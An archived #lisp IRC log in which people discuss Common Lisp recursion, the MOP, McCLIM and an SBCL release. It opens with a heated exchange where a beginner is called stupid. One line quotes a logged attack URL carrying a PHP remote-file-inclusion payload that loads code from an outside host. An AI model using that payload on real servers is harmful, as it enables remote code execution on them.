#lisp 12:20:54 -!- KingAztech_ [n=KingAzte@79-76-253-124.dynamic.dsl.as9105.com] has left #lisp 12:20:55 i don't quite remember saying anything even close to implying such a self-loathing attitude. i do remember trying to express appreciation for any advanced lisp programmers who would take a moment to look at code with mistakes they have probably seen thousands of times. 12:21:14 -!- awayekos is now known as anekos 12:21:59 malumalu [n=malu@hnvr-4dbb5332.pool.einsundeins.de] has joined #lisp 12:22:08 isismelting: That's good. Then I misread :) 12:22:25 and zhivago - you really don't understand what i mean by saying that the idea of a function being structured as a conditional then a construction of a modified car & a recursive application of the function to the cdr is new to me? 12:23:04 is: What? 12:23:10 is: What are you talking about? 12:23:28 Zhivago: You can thank me appropriate by not producing incoherent gibberish like "to think of functions kind of as cond - cons - recurse things to avoid bad code & errors" 12:24:37 my attempt there to describe the idea of a function as condition - construct - recurse (rather than use poor code, & in order to handle errors) -- that was gibberish to you? 12:25:01 What is this "condition - construct - recurse" gibberish? 12:25:27 -!- kpreid [n=kpreid@216-171-188-181.northland.net] has quit [Read error: 104 (Connection reset by peer)] 12:25:28 Firstly, you are dealing with procedures in CL. 12:25:40 A procedure has a body that has a sequence of operations in it. 12:25:52 Not fundamentally different from C, or whatever. 12:26:04 kpreid [n=kpreid@216-171-188-181.northland.net] has joined #lisp 12:27:35 (i'm totally listening, friend, go on...) 12:27:43 There's nothing more for me to say. 12:28:17 It sounds like what you're saying is that you've having difficulty with recursive functions or something, but are incapable of expressing this sensibly. 12:28:19 -!- Lou_ [n=lat@125.162.205.66] has quit ["Ex-Chat"] 12:28:38 yes - that is what i meant to say 12:29:05 error-handling & using recursion instead of loop functions is new to me 12:29:19 Do you understand that loops are recursive? 12:29:24 i must have expressed that sloppily 12:29:57 yes - my understanding is that one is better off avoiding the various do/loop functions in favor of tail-recursion 12:30:02 is that a wrong idea? 12:30:36 -!- Tristam [n=Tristam@ip98-169-227-67.dc.dc.cox.net] has quit [Read error: 104 (Connection reset by peer)] 12:31:29 in CL? Yes. 12:31:51 -!- yasuto [n=yasuto@pon100-117.kcn.ne.jp] has quit [Remote closed the connection] 12:32:44 wow i must sound dumb enough to be giving you a migraine at this point then 12:33:19 Tristam [n=Tristam@ip98-169-227-67.dc.dc.cox.net] has joined #lisp 12:33:57 how about instead of bother you with all this crap i instead ask you this -- could you point me toward a good introductory tutorial to CL that might correct some of the misconceptions that i have taken in somehow? 12:34:32 minion: pcl 12:34:34 pcl: pcl-book: "Practical Common Lisp", an introduction to Common Lisp by Peter Seibel, available at http://www.gigamonkeys.com/book/ and in dead-tree form from Apress (as of 11 April 2005). 12:34:50 Fortunately stupidity does not give me migraines, but as schme recommends, PCL is a good choice. 12:35:32 stupidity 12:36:15 isismelting: It would seem to me that a lot of people doing the functional programming, and maybe scheme people, like to go "loops are crap, use recursion". But... CL is not like that :) 12:36:47 also, recursion and loops for a good compiler will probably end up as the same thing, expressed differently 12:38:38 -!- killobyte [n=killobyt@cpe-74-73-29-56.nyc.res.rr.com] has quit [Read error: 113 (No route to host)] 12:40:37 Scheme provides guarantees for tail call elision. 12:40:40 CL does not. 12:40:49 thanks schme, minion, p_l & zhivago - your calling me stupid i don't believe was called for, zhivago...i am just trying to become a better programmer. 12:41:02 is: When did I call you stupid? 12:41:20 (2009-02-28 04:34:29) Zhivago: Fortunately stupidity does not give me migraines, but as schme recommends, PCL is a good choice. 12:41:44 so at 04:34:29 - that is when. 12:41:59 is: And that was in response to? 12:42:11 isismelting: Sometimes, perfectly normal people say stupid things. Don't worry about it. 12:43:05 -!- antgreen [n=green@CPE0014bf0b631a-CM001e6b1858fa.cpe.net.cable.rogers.com] has quit [Read error: 110 (Connection timed out)] 12:43:48 I think the argument for recursion being the perfect solution for all things is that it is so much easier to understand than a "normal loop".. you just need to... spend quite some time trying to understand it ;) 12:44:11 is: The argument is simply that a 'normal loop' is recursive. 12:44:26 antgreen [n=green@CPE0014bf0b631a-CM001e6b1858fa.cpe.net.cable.rogers.com] has joined #lisp 12:44:29 is: The question then is, which form of expression of a given kind of recursion is the least horrible in a given context? 12:44:33 -!- antgreen [n=green@CPE0014bf0b631a-CM001e6b1858fa.cpe.net.cable.rogers.com] has quit [Client Quit] 12:44:44 my answer is "i don't know" 12:44:57 is: A classic for loop keeps the initialization, test and increment together at the top -- sometimes this is nice. 12:45:00 that makes me admittedly ignorant, not stupid 12:45:13 is: You're being stupid now. 12:45:19 the argument against recursion being the perfect solution for all things is that in many cases you have to deal with a bounded stack 12:45:28 hey guys, let's not get to the lowest points of Ruby community trolling everyone everywhere, 'kay? 12:45:29 really? 12:45:42 p_l: Stop trolling ): 12:46:13 Ok. Tell you what. I'll make me some more coffee, finish my chicken, and just ignore #lisp and spend my time in SLIME for a while. 12:46:15 apologies. i thought the wrong thing coming in here i think 12:46:17 is: You're whining that I called you stupid when I was responding kindly to some incoherently self-serving blather about how dumb you must sound. 12:46:28 -!- Sukoshi`` [n=MuneNoKa@par0978.urh.uiuc.edu] has quit [Read error: 104 (Connection reset by peer)] 12:46:50 Sukoshi`` [n=MuneNoKa@par0978.urh.uiuc.edu] has joined #lisp 12:47:07 no zhivago don't get me wrong - you've given me some really good input & ideas that i will benefit from & i appreciate it 12:47:21 is: Please take a remedial English class. 12:47:57 please stop? ¬_¬ 12:48:15 Seriously though, I have one not so much lisp related question, but it is related to something I am doing in lisp... Is it normal to have the first day of the week as SUNDAY and not MONDAY ? 12:48:25 i will see if one is offered for autistic adults anywhere near here, zhivago. 12:48:31 schme: It's locale dependent, iirc. 12:48:36 Oh. 12:48:45 Gotta love standards (: 12:48:55 schme: USA 12:48:57 i really appreciate everyone's help - i learned a lot! 12:49:25 isismelting: There's also the book a gentle introduction to symbolic computation, or something like that. 12:49:32 isismelting: It has some bits on recursion. 12:49:46 minion: gentle 12:49:46 gentle: "Common Lisp: A Gentle Introduction to Symbolic Computation" is a smoother introduction to lisp programming. http://www.cs.cmu.edu/~dst/LispBook/ 12:49:52 hah that worked. 12:50:37 this looks like something i can understand - thank you 12:52:02 Nshag [i=user@Mix-Orleans-106-2-159.w193-248.abo.wanadoo.fr] has joined #lisp 12:52:05 nxt [n=nxt@77.207.25.109] has joined #lisp 12:53:10 n/p :) 12:53:16 *schme* banishes the IRC window. 12:54:51 goodnight helpful people. i have webspace to offer in return for helping. email meerkat@meerkat.cc and i will give you a subdomain and ftp account with unlimited space. 12:55:36 -!- drafael [n=tapio@ip-118-90-137-10.xdsl.xnet.co.nz] has quit ["Leaving."] 12:55:57 -!- isismelting [n=jo@ip72-197-229-240.sd.sd.cox.net] has quit ["Leaving."] 12:56:15 ecraven [n=nex@140.78.42.103] has joined #lisp 12:57:08 Beket [n=stathis@ppp7-197.adsl.forthnet.gr] has joined #lisp 13:01:40 existentialmonk [n=carcdr@64-252-129-7.adsl.snet.net] has joined #lisp 13:03:05 KingAztech_ [n=KingAzte@79-76-253-124.dynamic.dsl.as9105.com] has joined #lisp 13:05:20 KingAztech pasted "Testing" at http://paste.lisp.org/display/76275 13:05:46 -!- Beket [n=stathis@ppp7-197.adsl.forthnet.gr] has quit [Remote closed the connection] 13:07:43 -!- KingAztech_ [n=KingAzte@79-76-253-124.dynamic.dsl.as9105.com] has left #lisp 13:14:11 cheatcountry [n=cheatcou@cpe-72-181-114-9.satx.res.rr.com] has joined #lisp 13:16:43 -!- cheatcountry [n=cheatcou@cpe-72-181-114-9.satx.res.rr.com] has quit [Client Quit] 13:18:11 cheatcountry [n=cheatcou@cpe-72-181-114-9.satx.res.rr.com] has joined #lisp 13:19:10 -!- kpreid [n=kpreid@216-171-188-181.northland.net] has quit [Read error: 104 (Connection reset by peer)] 13:19:12 kpreid_ [n=kpreid@216-171-188-181.northland.net] has joined #lisp 13:20:36 kiuma [n=kiuma@81-208-106-75.ip.fastwebnet.it] has joined #lisp 13:24:04 nyef [n=nyef@pool-70-20-47-203.man.east.myfairpoint.net] has joined #lisp 13:24:12 G'morning all. 13:24:48 morn. 13:24:59 Jarvellis [n=jarv@dsl-217-155-101-22.zen.co.uk] has joined #lisp 13:26:54 morn' 13:27:35 morning. 13:30:57 Hi? 13:36:08 rindolf [n=shlomi@bzq-219-139-216.static.bezeqint.net] has joined #lisp 13:37:34 sykopomp: it actually looks like AMOP is basically a tutorial on the stuff I need to learn to do the project I'm working on :) 13:37:41 thanks for recommending it 13:37:56 vostibackle: no problem. It's a pretty fantastic book :) 13:39:17 I should try re-reading AMOP at some point. 13:40:03 tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has joined #lisp 13:41:04 has anyone gotten cl-markdown to work? I'm trying to figure out how to get any content out of it. I asdf-installed it 13:41:48 -!- daniel_ is now known as daniel 13:41:51 madnificent: I couldn't get it to work 13:42:33 vostibackle: have you found any other markup language? 13:42:50 vostibackle: I couldn't find the sources of texticl anywhere either 13:43:04 I get "there is no class named NIL" when I try to use the markdown function 13:43:32 I found this but I dunno if it works: http://lifeoflevi.com/markdown.lisp 13:45:04 vostibackle: cl-markdown is supposed to be the 'fixed' version of that 13:45:20 ah :( 13:45:30 neo__ [n=no@78.187.39.192] has joined #lisp 13:45:54 Soulman__ [n=kae@34.80-203-160.nextgentel.com] has joined #lisp 13:48:44 Heh. Seen in the lisppaste console, a 404 URL ending with .../protector/onuninstall.php?mydirname=a()%7B%7Dinclude($_GET[a]);function%20v&a=http://.../swift.gif???? (elided sections marked with elipsis). 13:48:45 -!- dysinger [n=tim@cpe-75-80-200-182.hawaii.res.rr.com] has quit [] 13:50:04 gemelen_ [n=shelta@shpd-92-101-149-45.vologda.ru] has joined #lisp 13:50:51 Jarv2 [n=jarv@dsl-217-155-101-22.zen.co.uk] has joined #lisp 13:51:27 durka42 [n=durka@130.58.192.22] has joined #lisp 13:53:19 ThomasI [n=thomas@unaffiliated/thomasi] has joined #lisp 13:55:48 segv_ [n=mb@p4FC1DBD6.dip.t-dialin.net] has joined #lisp 13:56:03 -!- segv [n=mb@p4FC1E2D0.dip.t-dialin.net] has quit [Read error: 110 (Connection timed out)] 13:56:11 elias` [n=me@unaffiliated/elias/x-342423] has joined #lisp 13:59:45 -!- Soulman [n=kae@gatekeeper.vizrt.com] has quit [Read error: 110 (Connection timed out)] 14:01:47 -!- gemelen [n=shelta@shpd-78-36-164-131.static.vologda.ru] has quit [Read error: 110 (Connection timed out)] 14:01:47 -!- Jarvellis [n=jarv@dsl-217-155-101-22.zen.co.uk] has quit [Connection timed out] 14:01:56 -!- Jarv2 is now known as Jarvellis 14:03:35 dgou [n=dgou@c-67-163-142-94.hsd1.pa.comcast.net] has joined #lisp 14:07:26 -!- ecraven [n=nex@140.78.42.103] has quit ["bbl"] 14:12:11 syamajala [n=syamajal@68-116-203-246.dhcp.oxfr.ma.charter.com] has joined #lisp 14:12:29 gko [n=gko@220-132-4-34.HINET-IP.hinet.net] has joined #lisp 14:18:07 "The results are undefined if a portable program mutates the list returned by compute-applicable-methods." 14:19:01 does this mean I can't do (defmethod compute-applicable-methods ..) to hook into a metaclass which provides extra methods? 14:20:26 no, it means you can't do (let ((list (compute-applicable-methods ...))) (setf (cdr list) nil) ...) 14:20:45 oh, I see 14:21:00 "mutation" means side-effecting a value 14:21:14 I was actually thinking of 'compute-slots and 'compute-effective-slot-definition 14:21:16 but same problem 14:21:17 thanks 14:24:31 -!- syamajala [n=syamajal@68-116-203-246.dhcp.oxfr.ma.charter.com] has quit ["Leaving..."] 14:25:42 X-Scale2 [i=email@2001:470:1f08:b3d:0:0:0:2] has joined #lisp 14:26:14 -!- X-Scale [i=email@2001:470:1f08:b3d:0:0:0:2] has quit [Read error: 54 (Connection reset by peer)] 14:27:56 davazp [n=user@121.Red-79-152-91.dynamicIP.rima-tde.net] has joined #lisp 14:30:26 Soulman [n=kvirc@42.84-48-88.nextgentel.com] has joined #lisp 14:31:00 PissedNumlock [n=resteven@134.184.8.70] has joined #lisp 14:33:09 JuanDaugherty [n=juan@cpe-72-228-150-44.buffalo.res.rr.com] has joined #lisp 14:34:51 -!- kiuma [n=kiuma@81-208-106-75.ip.fastwebnet.it] has quit ["Bye bye ppl"] 14:37:50 dagnachew [n=dagnache@modemcable207.114-201-24.mc.videotron.ca] has joined #lisp 14:38:35 attila_lendvai [n=ati@business-89-132-61-222.business.broadband.hu] has joined #lisp 14:46:36 ozy` [n=vt920@ool-ad0261b8.dyn.optonline.net] has joined #lisp 14:46:50 -!- dagnachew [n=dagnache@modemcable207.114-201-24.mc.videotron.ca] has quit ["Leaving"] 14:47:33 -!- plan9 [n=stian@revenant.sletner.com] has quit [Remote closed the connection] 14:50:00 -!- manuel__ [n=manuel@HSI-KBW-078-043-184-124.hsi4.kabel-badenwuerttemberg.de] has quit [] 14:51:55 LiamH [n=nobody@pool-72-75-87-237.washdc.east.verizon.net] has joined #lisp 14:57:00 Beket [n=stathis@ppp7-197.adsl.forthnet.gr] has joined #lisp 14:58:12 jsoftw [n=user@unaffiliated/jsoft] has joined #lisp 15:01:00 gemelen [n=shelta@shpd-78-36-183-185.static.vologda.ru] has joined #lisp 15:05:07 swombat [n=Dan@87-194-122-30.bethere.co.uk] has joined #lisp 15:05:12 -!- swombat [n=Dan@87-194-122-30.bethere.co.uk] has left #lisp 15:08:20 stepnem [n=chatzill@topol.nat.praha12.net] has joined #lisp 15:10:39 -!- shmho [n=user@58.142.15.103] has quit [Remote closed the connection] 15:11:40 -!- rindolf [n=shlomi@bzq-219-139-216.static.bezeqint.net] has quit ["Leaving"] 15:12:04 -!- gemelen_ [n=shelta@shpd-92-101-149-45.vologda.ru] has quit [Connection timed out] 15:17:17 -!- dgou [n=dgou@c-67-163-142-94.hsd1.pa.comcast.net] has quit [] 15:19:30 -!- ThomasI [n=thomas@unaffiliated/thomasi] has quit ["Bye Bye!"] 15:20:42 stassats [n=stassats@wikipedia/stassats] has joined #lisp 15:20:50 -!- bbe [n=bbe@221.226.138.253] has quit ["Leaving"] 15:22:32 borism [n=boris@195-50-212-213-dsl.krw.estpak.ee] has joined #lisp 15:24:22 -!- neo__ [n=no@78.187.39.192] has quit [] 15:24:35 stepnem_ [n=chatzill@topol.nat.praha12.net] has joined #lisp 15:26:05 -!- Jabberwockey [n=Tumnus_@dslc-082-082-054-163.pools.arcor-ip.net] has quit [Remote closed the connection] 15:26:53 LostMonarch [n=roby@host68-211-dynamic.49-82-r.retail.telecomitalia.it] has joined #lisp 15:27:35 -!- Beket [n=stathis@ppp7-197.adsl.forthnet.gr] has quit ["Leaving"] 15:27:44 stipet [n=user@c83-253-25-49.bredband.comhem.se] has joined #lisp 15:29:27 borism_ [n=boris@195-50-205-237-dsl.krw.estpak.ee] has joined #lisp 15:29:40 -!- borism__ [n=boris@195-50-206-252-dsl.krw.estpak.ee] has quit [Read error: 145 (Connection timed out)] 15:31:07 If initforms are supposed to always run, why does making an instance of a class that has :initform (error) not signal an error? 15:32:30 you mean, no :initarg and :default-initargs? 15:32:50 so if there's an :initarg, it's not evaluated?... 15:33:05 what's the point of :default-initargs in that case, then? Now I'm actually confused. 15:35:13 you can inherit from some class and make different initarg 15:35:14 To override the initform of a superclass? 15:35:31 borism__ [n=boris@195-50-207-113-dsl.krw.estpak.ee] has joined #lisp 15:35:52 hm 15:36:11 -!- borism [n=boris@195-50-212-213-dsl.krw.estpak.ee] has quit [Read error: 145 (Connection timed out)] 15:36:16 s/initarg/initform/, yeah 15:37:13 -!- elias` [n=me@unaffiliated/elias/x-342423] has quit ["leaving"] 15:37:19 It also insulates you from changes to the slot definition in the superclass (means you don't have to duplicate the entire slot definition). 15:37:39 dreish [n=dreish@minus.dreish.org] has joined #lisp 15:39:10 -!- ASau [n=user@193.138.70.52] has quit [Read error: 110 (Connection timed out)] 15:39:33 -!- stepnem [n=chatzill@topol.nat.praha12.net] has quit [No route to host] 15:40:10 rindolf [n=shlomi@bzq-219-139-216.static.bezeqint.net] has joined #lisp 15:41:08 -!- borism_ [n=boris@195-50-205-237-dsl.krw.estpak.ee] has quit [Read error: 145 (Connection timed out)] 15:41:30 dwave [n=ask@084202075100.customer.alfanett.no] has joined #lisp 15:42:22 ASau [n=user@193.138.70.52] has joined #lisp 15:43:08 -!- matley [n=matley@83.225.101.183] has quit [Remote closed the connection] 15:45:33 -!- stipet [n=user@c83-253-25-49.bredband.comhem.se] has left #lisp 15:53:01 -!- mathrick [n=mathrick@users177.kollegienet.dk] has quit ["HULK ANGRY! HULK DISCONNECT!"] 15:53:23 mathrick [n=mathrick@users177.kollegienet.dk] has joined #lisp 16:07:34 sohail [n=Sohail@unaffiliated/sohail] has joined #lisp 16:15:30 semyon [n=semyon@217.67.122.44] has joined #lisp 16:28:46 malumalu_ [n=malu@hnvr-4dbb5332.pool.einsundeins.de] has joined #lisp 16:30:25 aaaargh. again with mcclim and the printing things in the wrong direction. It drives me crazy :) 16:30:47 -!- anekos is now known as awayekos 16:31:17 schme: It's printing your right-to-left text left-to-right? 16:31:57 No. 16:32:16 It's printing lanscape instead of portait? 16:32:20 It's printing (format stream "~s" "green beans") vertically instead of horizontally. 16:32:31 -!- LostMonarch [n=roby@host68-211-dynamic.49-82-r.retail.telecomitalia.it] has quit ["raise RuntimeError"] 16:32:41 I have to say, that's impressive 16:32:53 With or without rotating the characters in the font? 16:32:57 and someone the other day said "my god, you silly dolt, you need to cut and paste it" 16:33:02 ecraven [n=nex@140.78.42.103] has joined #lisp 16:33:04 I think it was Krystof actually :P 16:33:14 nyef: no rotating. 16:33:18 mcclim isn't exactly unmaintained, but it's fair to say that the maintainers are not desperately active 16:33:20 Didn't think so... 16:33:36 you might have to track down why it's doing it, and work out whether it's right to do it or not given what you're asking it to do 16:33:38 ... mainly because the X server doesn't support it. 16:34:05 Krystof: Yes. I would love to do all that, but right now I would just love to have it print it nice :) 16:34:35 What I am asking it do do is 1) create a lil frame and what not, then (print "green beans") 16:34:54 schme: what you would "love" is largely irrelevant 16:35:00 Krystof: Indeed! 16:35:15 I would love to get a block of roquefort and some lovely baguette, right now 16:35:21 I'm not even in the know if this printing it downwards is the correct behaviour. :) 16:35:33 schme: right, that's why I'm suggesting that you should find out 16:35:50 Yes, I have no idea how to do that. (: 16:36:37 there's a spec. There's code. You can look at the code, see if it meets the spec, find out what bit of the code is deciding to print vertically 16:37:29 work out whether that's consistent, find out how to alter its behaviour 16:37:39 I can't find anything regarding it in the spec, so I have no idea if it will be meeting the specs or not. 16:37:57 you can look at the code that is being executed to help you decide 16:38:09 Right. 16:38:38 that sounds like a really good idea. 16:39:39 maybe I will do that next year. 16:40:20 good luck 16:40:26 Thanks. 16:41:41 also pardon my grumpy mood here :) lack of nicotine (: 16:42:10 Can I convince one of the elders to reply to today's slime-devel inquiry about saving an SBCL core from within Slime? 16:43:11 "if it works, I'll eat my hat"? 16:44:09 I was tempted to suggest fork, then save-lisp-and-die, but I'm not sure that's a good idea given that there's a socket open, and multiple threads running 16:44:16 -!- malumalu [n=malu@hnvr-4dbb5332.pool.einsundeins.de] has quit [Read error: 110 (Connection timed out)] 16:44:45 what exactly does save-lisp-and-die do anyway? 16:45:25 swank-backend:save-image does fork on sbcl, but it doesn't work 16:45:45 -!- rdd [n=rdd@c83-250-154-52.bredband.comhem.se] has quit [Read error: 54 (Connection reset by peer)] 16:45:53 rdd [n=rdd@c83-250-154-52.bredband.comhem.se] has joined #lisp 16:45:57 tcr: a GC that doesn't take the stack into account, followed by a nearly byte-by-byte serialisation of the heap + page table. 16:45:57 does an only mildly conservative garbage collection, then writes out an image of the process's lisp memory spaces in the format that the sbcl executable can map 16:46:02 yoshinori [n=read_eva@router1.gpy1.ms246.net] has joined #lisp 16:46:36 why the stack constraint? 16:47:32 Cheshire [n=e@amcant.demon.co.uk] has joined #lisp 16:47:39 tcr: since you are digging old mails in slime-devel, did you see my mail about slime-call-defun and package nicknames? 16:47:50 because the stack doesn't contain memory roots for the image-that-is-yet-to-be 16:48:12 the stack is full of function frames leading up to save-lisp-and-die, which will not be present in the startup of the new image 16:48:25 Besides, the stack doesn't end up in the new image. 16:49:54 stassats: Yeah, I told you on IRC yesterday that I'd apply a patch fixing that (+ a test case for extra kudos). I'm mostly done with my slime hacking for the time being. I'll perhaps try to reduce some of the failing test cases, and look at emacs21 compatibility today. 16:51:29 ok, i see it in the logs, i was sleeping 16:52:40 stassats: If you do provide a patch, do also insert an appropriate ChangeLog entry in the mail with you as author of the changeset. 16:52:42 -!- tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has quit [] 16:53:09 ok, i'll note that 16:54:02 -!- X-Scale2 [i=email@2001:470:1f08:b3d:0:0:0:2] has left #lisp 16:54:05 tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has joined #lisp 16:54:16 Krystof: Hey. You're right. It is doing the right thing (: 16:54:22 LostMonarch [n=roby@host68-211-dynamic.49-82-r.retail.telecomitalia.it] has joined #lisp 16:54:27 really? Now you can explain that to me :-) 16:54:44 schoppenhauer [n=css@unaffiliated/schoppenhauer] has joined #lisp 16:54:55 Ehheehe. 16:55:10 no, really. I have no idea why it would print vertically 16:55:25 Well the way I read it this thing *should* be implemented by repeatedly calling that there function for writing one char at a time. So it makes sense that there is not enough vertical space. 16:55:38 Though.. when I add a menubar to the app it prints horizontally. 16:55:54 Now I'm in the "it makes sense if you read it one way, but it's completely dumb" :) 16:56:41 -!- Cheshire [n=e@amcant.demon.co.uk] has left #lisp 16:57:25 stassats: You can test one single patch with M-x slime-run-one-test. If you can the whole test suite, make sure that you comment out the disconnect test. That one will make almost all other cases fail. 16:57:31 -!- jsoftw [n=user@unaffiliated/jsoft] has quit [Remote closed the connection] 16:57:37 stassats: s/patch/test/ 16:57:53 stassats: and s/can/run/2 *sigh* 17:04:00 user___ [n=user@p54925B34.dip.t-dialin.net] has joined #lisp 17:05:22 ianmcorvidae: are you here? 17:07:22 trebor [n=user@dslb-084-059-012-067.pools.arcor-ip.net] has joined #lisp 17:08:53 Jabberwockey [n=Tumnus_@dslc-082-082-054-163.pools.arcor-ip.net] has joined #lisp 17:13:56 -!- rindolf [n=shlomi@bzq-219-139-216.static.bezeqint.net] has quit [Read error: 54 (Connection reset by peer)] 17:14:24 -!- ecraven [n=nex@140.78.42.103] has quit ["bbl"] 17:14:44 -!- ozy` [n=vt920@ool-ad0261b8.dyn.optonline.net] has quit ["absquatulating"] 17:18:09 Drakeson` [n=user@bas3-toronto02-1279724683.dsl.bell.ca] has joined #lisp 17:18:13 Krystof: Thanks a lot there. Turns out all is well, and it was easy as making more coffee to get it working :) 17:18:22 what is CFASL 17:18:35 (it is mentioned in XCVB) 17:18:38 (with-end-of-line-action (stream :scroll) (print "bambambam")) default is :wrap :) 17:19:02 there may still be the question of why the line is one character long, no? 17:19:04 but OK 17:19:52 tst__ [n=tim@p4FD2BF87.dip.t-dialin.net] has joined #lisp 17:20:36 Well yes.. that is something I am not so happy about not having wrapped my mind around. :) 17:21:33 simil [n=chatzill@121.243.180.22] has joined #lisp 17:21:40 -!- dwave [n=ask@084202075100.customer.alfanett.no] has quit ["Be back later"] 17:22:07 Drakeson`: fasl for recording compile-time side effects 17:22:24 is it applied to upstream sbcl yet? 17:22:31 Drakeson`: no. 17:22:36 mega1 [n=mega@3e70dafc.adsl.enternet.hu] has joined #lisp 17:22:45 well, will it happen? 17:23:19 It seems likely to happen at some point. 17:23:27 seems likely if they prove to be useful. 17:23:58 I see. thanks. 17:24:07 I think that needing them is a sign of a misdesign somewhere. 17:24:22 dlowe [n=dlowe@static-72-72-80-24.bstnma.east.verizon.net] has joined #lisp 17:25:03 -!- dlowe [n=dlowe@static-72-72-80-24.bstnma.east.verizon.net] has quit [Client Quit] 17:25:46 ozy` [n=vt920@ool-ad0261b8.dyn.optonline.net] has joined #lisp 17:28:06 Soulmann [n=kae@gatekeeper.vizrt.com] has joined #lisp 17:29:23 incidentally: I haven't been _using_ sbcl-1.0.newest.recent, so if anyone knows of a reason to delay the release telling me would be useful 17:29:28 mega1: are you happy with the tree? 17:30:36 Krystof: I'm not aware of any true regression. 17:30:55 thanks 17:31:05 -!- galdor [n=galdor@bur91-2-82-231-160-213.fbx.proxad.net] has left #lisp 17:31:27 there are two that I think are not really regressions: backtrace on darwin and semaphores on a box with many cpus 17:31:56 Liempt [n=Bevinvan@XPLR-TS-10-VAN-67-201-133-74.barrettxplore.com] has joined #lisp 17:32:54 is backtrace on darwin completely broken, or only under certain circumstances? And what's the semaphore issue? 17:34:00 only the multithreaded backtrace stress test is failing to my knowledge 17:34:30 semaphore issue: https://bugs.launchpad.net/sbcl/+bug/332002 17:34:36 -!- Soulman__ [n=kae@34.80-203-160.nextgentel.com] has quit [Read error: 104 (Connection reset by peer)] 17:34:57 Soulman__ [n=kae@34.80-203-160.nextgentel.com] has joined #lisp 17:35:23 I have reproduced something that may be similar to what the bug reporter sees. I suspect the kernel because it brings the system to its knees. 17:35:29 -!- yoshinori [n=read_eva@router1.gpy1.ms246.net] has left #lisp 17:35:36 ... or at least partly the kernel. 17:36:17 but my test case fails on older sbcl as well. 17:36:48 Yuuhi [i=benni@p5483D033.dip.t-dialin.net] has joined #lisp 17:37:01 os I'm happy with the tree as it is. 17:37:20 The only worrisome details is that no windows users have spoken up yet that it's broken. 17:37:51 which is quite surprising. Probably noone has tried recent cvs. 17:38:07 hah. I've been using a threadless sbcl for four months, and hadn't even noticed 17:38:10 shows how active I am 17:39:08 -!- sulo__ [n=sulo@p57B48D03.dip0.t-ipconnect.de] has quit [Read error: 60 (Operation timed out)] 17:39:52 *nyef* hasn't built SBCL/Win32 in... probably more than a year. 17:40:11 question - are there many active users of SBCL/win32? :P 17:40:46 p_l: I think you have a stray #\m in your question. 17:41:56 p_l: At least one (http://groups.google.com/group/comp.lang.lisp/browse_frm/thread/fe1a9e89a70c3f4d#) 17:43:36 lol @ the kitten 17:44:08 I half wish if I could touch windows with a long stick 17:45:02 I wish I had a machine that I could dedicate to running windows. 17:45:16 dwave [n=ask@213.236.208.247] has joined #lisp 17:45:18 *nyef* has a WinXP VM. 17:45:45 nyef: The thing is, no VM available to me gives me hw 3D acceleration at reasonable speed :) 17:45:49 I also have a real WinXP box, but it's used primarily for entertainment these days, not programming. 17:46:16 *mega1* would like to have a windows image set up for compiling sbcl 17:46:35 isn't programming entertaining? 17:46:48 stassats: It can be. 17:48:16 I have an SBCL/Win32 installed on this very laptop, but haven't tried to use it for more than a year 17:49:07 isn't windows deprecated? 17:49:34 Windows has been deprecated for decades, but alas, only in the literal sense of the word... 17:49:44 -!- acieroid [n=quentin@238.21.83-79.rev.gaoland.net] has quit [Remote closed the connection] 17:49:55 it's like deprecated features of CL 17:50:00 acieroid [n=quentin@163.22.83-79.rev.gaoland.net] has joined #lisp 17:50:10 only less nice 17:50:27 -!- Soulmann [n=kae@gatekeeper.vizrt.com] has quit [Read error: 110 (Connection timed out)] 17:51:07 madnificent: More like the developers behind it would love to deprecate a lot of code, but have minority on the committee... :P 17:52:25 ignas [n=ignas@ctv-79-132-160-221.vinita.lt] has joined #lisp 17:52:40 -!- LostMonarch [n=roby@host68-211-dynamic.49-82-r.retail.telecomitalia.it] has quit ["raise RuntimeError"] 17:53:38 -!- simil [n=chatzill@121.243.180.22] has left #lisp 17:53:58 its scary how easy it is to bash windows 17:54:23 Sure, all you have to do is install cygwin, and you've got a bashed windows. :-P 17:54:39 madnificent: It get's scarier when at some point you start to learn that many crashes mistakes etc. were a result of the app you installed, not because of MS :P 17:54:41 *Riastradh* revokes nyef's pun licence. 17:54:50 it's easy to bash everything, except maybe rocks 17:55:01 nyef: I personally don't like cygwin, it's clumsy as hell. I'd rather play with SUA 17:55:15 Yeah, cygwin has some frightening stuff in it. 17:57:34 <``Erik> aw, c'mon, people have been bashing rocks for a lllloooonnnngggg time... 18:03:25 stassats` [n=stassats@wikipedia/stassats] has joined #lisp 18:03:28 -!- Jarvellis [n=jarv@dsl-217-155-101-22.zen.co.uk] has quit [Read error: 104 (Connection reset by peer)] 18:05:50 -!- slash_ [n=Unknown@p4FF0B246.dip.t-dialin.net] has quit ["leaving"] 18:06:11 slash_ [n=Unknown@p4FF0B246.dip.t-dialin.net] has joined #lisp 18:07:18 -!- Adamant [n=Adamant@unaffiliated/adamant] has quit [] 18:10:54 -!- tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has quit [] 18:12:37 -!- trebor [n=user@dslb-084-059-012-067.pools.arcor-ip.net] has left #lisp 18:21:55 WarWeasle [n=brad@c-98-220-168-14.hsd1.in.comcast.net] has joined #lisp 18:21:58 -!- stassats [n=stassats@wikipedia/stassats] has quit [Read error: 110 (Connection timed out)] 18:22:24 rindolf [n=shlomi@bzq-219-139-216.static.bezeqint.net] has joined #lisp 18:26:51 manuel__ [n=manuel@krlh-4d034601.pool.mediaWays.net] has joined #lisp 18:27:25 pk_ [n=pk@AGrenoble-257-1-48-15.w86-206.abo.wanadoo.fr] has joined #lisp 18:29:33 -!- manuel__ [n=manuel@krlh-4d034601.pool.mediaWays.net] has quit [Client Quit] 18:31:36 manuel__ [n=manuel@krlh-4d034601.pool.mediaWays.net] has joined #lisp 18:32:52 -!- rindolf [n=shlomi@bzq-219-139-216.static.bezeqint.net] has quit ["Leaving"] 18:34:13 -!- Fulax [n=cyprien@pdpc/supporter/student/cnicolas] has quit ["Out of Memory: Killed process [9823] xchat."] 18:34:22 -!- gko [n=gko@220-132-4-34.HINET-IP.hinet.net] has quit [Read error: 113 (No route to host)] 18:34:45 -!- manuel__ [n=manuel@krlh-4d034601.pool.mediaWays.net] has quit [Client Quit] 18:34:45 -!- myrkraverk`` [n=johann@85-220-125-72.dsl.dynamic.simnet.is] has quit [Read error: 110 (Connection timed out)] 18:41:14 Adamant [n=Adamant@c-71-226-66-93.hsd1.ga.comcast.net] has joined 